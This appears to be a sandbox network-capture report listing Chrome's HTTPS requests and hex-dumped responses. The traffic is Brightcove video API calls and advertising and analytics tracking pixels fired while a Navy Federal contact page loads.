2024-05-24 22:46:42 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:42 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: e5bc12eb98cef55a strict-transport-security: max-age=0 x-response-time: 73 x-connection-hash: e497a4bbd0f432978a2303d4457097ea3610e1d151820b6de32c3982d4f1eb10 connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.6	50500	151.101.130.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	781	OUT	GET /playback/v1/accounts/5289441629001/videos/5368522558001 HTTP/1.1 Host: edge.api.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json;pk=BCpkADawqM3w8vBuK08Bp0jwPTFZWFOfRjKUpOR22qkFYWavWsvxq78o5Yu59B2NvNjnB7KNMh_78C62tsjBGbtUftSYw7mPUp7YNbO8M8oJk8W4ioTlSA7is2GAoniam5uYljQgdhKe3X-6 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://players.brightcove.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	1298	IN	HTTP/1.1 200 OK Connection: close Content-Length: 6617 Account-Status: APPROVED Bc-Override-Client-Ip: 74.109.116.165 Bcov-Request-Id: 176ab75a-0952-4494-b77d-7ca61016fb09 Content-Type: application/json; charset=UTF-8 Policy-Key-Accountid: 5289441629001 Policy-Key-Raw: BCpkADawqM3w8vBuK08Bp0jwPTFZWFOfRjKUpOR22qkFYWavWsvxq78o5Yu59B2NvNjnB7KNMh_78C62tsjBGbtUftSYw7mPUp7YNbO8M8oJk8W4ioTlSA7is2GAoniam5uYljQgdhKe3X-6 Powered-By: BC Powered-From: us-east-1a Accept-Ranges: bytes Age: 3385 Date: Fri, 24 May 2024 22:46:42 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890041-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590803.681722,VS0,VE1 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: cache-control,content-type,powered-by,powered-from,via,x-cache,x-cache-hits,x-served-by,x-timer,bcov-debug-cache-stats,bcov-instance,x-amz-cf-id,Policy-Key-Geo-Countries,Policy-Key-Geo-Exclude-Countries,Policy-Key-IP-Whitelist,Account-Status,Policy-Key-Raw,Policy-Key-Domains,Policy-Key-Require-Ad-Config,Policy-Key-AccountID,BCOV-Request-ID,BCOV-Error-Code,soapaction Access-Control-Allow-Headers: content-type,accept,accept-language,content-language,bcov-policy,soapaction Access-Control-Allow-Methods: HEAD,GET,OPTIONS Cache-Control: max-age=0, no-cache, no-store
2024-05-24 22:46:42 UTC	1371	IN	Data Raw: 7b 22 70 6f 73 74 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 69 6d 61 67 65 73 2e 75 73 2d 65 61 73 74 2d 31 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 76 31 2f 73 74 61 74 69 63 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 66 36 61 37 31 39 65 30 2d 63 62 30 64 2d 34 34 39 38 2d 62 61 64 35 2d 37 62 30 63 32 65 32 63 61 63 31 63 2f 36 33 36 78 33 34 38 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 67 22 2c 22 74 68 75 6d 62 6e 61 69 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 69 6d 61 67 65 73 2e 75 73 2d 65 61 73 74 2d 31 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 76 31 2f 73 74 61 74 69 63 2f 35 32 38 39 34 34 31 36 Data Ascii: {"poster":"https://cf-images.us-east-1.prod.boltdns.net/v1/static/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/f6a719e0-cb0d-4498-bad5-7b0c2e2cac1c/636x348/match/image.jpg","thumbnail":"https://cf-images.us-east-1.prod.boltdns.net/v1/static/52894416
2024-05-24 22:46:42 UTC	1371	IN	Data Raw: 6a 59 31 4d 54 59 7a 59 6a 6c 66 4d 6d 51 34 4e 7a 4e 6d 4d 6a 55 30 59 7a 49 79 4d 6a 42 69 5a 6a 67 79 59 6a 6b 78 4f 57 49 35 4e 54 67 33 4f 57 51 33 4e 54 6c 6b 4d 44 51 34 4e 7a 6b 33 4e 6d 52 6c 4d 47 4d 7a 5a 6a 41 30 4e 6a 63 79 4d 7a 4d 79 4d 6d 4d 7a 4d 32 49 32 4f 44 49 30 4f 51 25 33 44 25 33 44 22 2c 22 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 70 65 67 55 52 4c 22 7d 2c 7b 22 63 6f 64 65 63 73 22 3a 22 61 76 63 31 2c 6d 70 34 61 22 2c 22 70 72 6f 66 69 6c 65 73 22 3a 22 75 72 6e 3a 6d 70 65 67 3a 64 61 73 68 3a 70 72 6f 66 69 6c 65 3a 69 73 6f 66 66 2d 6c 69 76 65 3a 32 30 31 31 22 2c 22 73 72 63 22 3a 22 68 74 74 70 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 Data Ascii: jY1MTYzYjlfMmQ4NzNmMjU0YzIyMjBiZjgyYjkxOWI5NTg3OWQ3NTlkMDQ4Nzk3NmRlMGMzZjA0NjcyMzMyMmMzM2I2ODI0OQ%3D%3D","type":"application/x-mpegURL"},{"codecs":"avc1,mp4a","profiles":"urn:mpeg:dash:profile:isoff-live:2011","src":"http://manifest.prod.boltdns.net/manif
2024-05-24 22:46:42 UTC	1371	IN	Data Raw: 6f 6e 22 3a 35 30 31 35 35 2c 22 68 65 69 67 68 74 22 3a 35 34 30 2c 22 73 69 7a 65 22 3a 31 31 32 30 39 39 33 32 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 70 6d 70 34 2f 73 74 61 74 69 63 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 68 69 67 68 2e 6d 70 34 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 36 30 39 39 37 37 7e 61 63 6c 3d 2f 6d 65 64 69 61 2f 76 31 2f 70 6d 70 34 2f 73 74 61 74 69 63 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 Data Ascii: on":50155,"height":540,"size":11209932,"src":"https://bcbolt446c5271-a.akamaihd.net/media/v1/pmp4/static/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/high.mp4?akamai_token=exp=1716609977~acl=/media/v1/pmp4/static/clear/5289441629001/033ac09c-d
2024-05-24 22:46:42 UTC	1371	IN	Data Raw: 63 22 3a 22 68 74 74 70 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 74 65 78 74 2f 76 74 74 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 66 64 37 38 63 61 66 65 2d 33 63 32 31 2d 34 36 35 33 2d 39 35 37 64 2d 65 31 65 63 62 64 38 66 65 63 65 30 2f 74 65 78 74 2e 76 74 74 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 36 30 39 39 37 37 7e 61 63 6c 3d 2f 6d 65 64 69 61 2f 76 31 2f 74 65 78 74 2f 76 74 74 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 Data Ascii: c":"http://bcbolt446c5271-a.akamaihd.net/media/v1/text/vtt/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/text.vtt?akamai_token=exp=1716609977~acl=/media/v1/text/vtt/clear/5289441629001/033ac09c-da10-46ef-b93
2024-05-24 22:46:42 UTC	1133	IN	Data Raw: 30 31 22 2c 22 73 72 63 22 3a 22 68 74 74 70 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 74 68 75 6d 62 6e 61 69 6c 2f 76 31 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 36 61 32 65 30 66 33 64 2d 66 66 64 62 2d 34 37 62 30 2d 62 30 32 64 2d 61 65 62 63 32 38 65 34 31 34 38 38 2f 74 68 75 6d 62 6e 61 69 6c 2e 77 65 62 76 74 74 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 54 59 7a 59 6a 6c 66 59 32 49 32 4f 57 55 31 59 6a 59 35 59 7a 51 7a 4f 47 45 34 4d 44 67 79 59 6a 6b 7a 4d 7a 41 78 5a 6a 67 33 4e 54 5a 68 4d 54 6c 68 4e 7a 5a 69 4d 7a 6c 6b 4e 6d 51 77 4e 7a 55 35 4e 6a 46 68 59 6d 52 69 Data Ascii: 01","src":"http://manifest.prod.boltdns.net/thumbnail/v1/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/thumbnail.webvtt?fastly_token=NjY1MTYzYjlfY2I2OWU1YjY5YzQzOGE4MDgyYjkzMzAxZjg3NTZhMTlhNzZiMzlkNmQwNzU5NjFhYmRi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.6	50506	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	1126	OUT	GET /i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:43 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:42 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 2043acd6b40ae1b3 strict-transport-security: max-age=631138519 x-response-time: 76 x-connection-hash: 689b63004d4195942d186cfbfcf6e3b6e7933f8f6c101fe8cb14dc331bf16073 connection: close
2024-05-24 22:46:43 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.6	50505	66.235.152.156	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	445	OUT	GET /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1 Host: navyfederalcu.tt.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	450	IN	HTTP/1.1 405 Method Not Allowed date: Fri, 24 May 2024 22:46:43 GMT content-type: application/json;charset=UTF-8 vary: accept-encoding referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-05-24 22:46:43 UTC	72	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 34 30 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 52 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 27 47 45 54 27 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3d{"status":405,"message":"Request method 'GET' not supported"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.6	50508	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	654	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	2008	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-in [TRUNCATED]
2024-05-24 22:46:43 UTC	1854	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2d 70 6f 6c 69 63 79 3a 20 66 6f 72 63 65 2d 6c 6f 61 64 2d 61 74 2d 74 6f 70 0d 0a 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d Data Ascii: document-policy: force-load-at-toppermissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.6	50510	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	852	OUT	GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZKaUswQUZTVUc4NjhjSExoc3l5Qm15SEhCb2psVnVLVmV6ejIxLzdicDZabFp1Mmg3MHNmUWFqbDJVVHNPK3JrM2ZYbm5Dc2tkS3AwMnlRRWVqTU5jRXlSVC9iMENCeUVDYzh0Rlo4dHFSUT0mbVdEYnU4VkZqeUpZbVJJR2kyaWEzbTYyK01FPQ=="
2024-05-24 22:46:42 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:42 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZCNnppbnp0WGtoajdWUEJ1WGh5MW9MYTZhWkZHQU5rKzBWN2ozUzhsQUxpWVM3V3ZLb3ViM0hGZ01DRVpEYUtHaTZJNGZlTy94MVB2bHV3S2RaM1JqaDNuYmxrc0IxbUp5dlRBaHh1R0VrND0mVVg1d3FKcG14N3pGYzE3cHdXcUYrUFEzbTR3PQ=="; Expires=Sat, 24 May 2025 22:46:42 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 1 referrer-policy: origin x-pinterest-rid: 1090678323460731 Date: Fri, 24 May 2024 22:46:42 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:42 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.6	50511	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	867	OUT	GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZKaUswQUZTVUc4NjhjSExoc3l5Qm15SEhCb2psVnVLVmV6ejIxLzdicDZabFp1Mmg3MHNmUWFqbDJVVHNPK3JrM2ZYbm5Dc2tkS3AwMnlRRWVqTU5jRXlSVC9iMENCeUVDYzh0Rlo4dHFSUT0mbVdEYnU4VkZqeUpZbVJJR2kyaWEzbTYyK01FPQ=="
2024-05-24 22:46:43 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:42 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZQNkg3Y3F3dFN2dEZ1RWZTRVZEcllBYVB0SUl6Z2N4K3AwSWtGWnpsU2llczZrLyt6dGJYakdYWEFaTEl1ajFPbWEyK2hnR05BWkJFQ2w4M1FtdDVicXYyd25aZ2tDRlBKbzZuemY0WnlDZz0malhwL01pTDI5ZlBBQXVJVzhKT3pIZkNpbGJZPQ=="; Expires=Sat, 24 May 2025 22:46:42 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 0 referrer-policy: origin x-pinterest-rid: 2690622996706565 Date: Fri, 24 May 2024 22:46:42 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:43 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.6	50514	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	981	OUT	GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=chvDv3pidm9FZlWX&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815428 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	576	IN	HTTP/1.1 302 Found Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 X-Content-Type-Options: nosniff X-XSS-Protection: 1 Content-Type: image/gif Location: https://aa.agkn.com/adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=41c189dc-0747-403e-98b2-97aff675ae2c&ona= X-Cloud-Trace-Context: 8b5955b650743ae0bcb3dad582c096ac Date: Fri, 24 May 2024 22:46:42 GMT Server: Google Frontend Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.6	50512	142.250.186.34	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	1080	OUT	GET /ddm/fls/z/dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
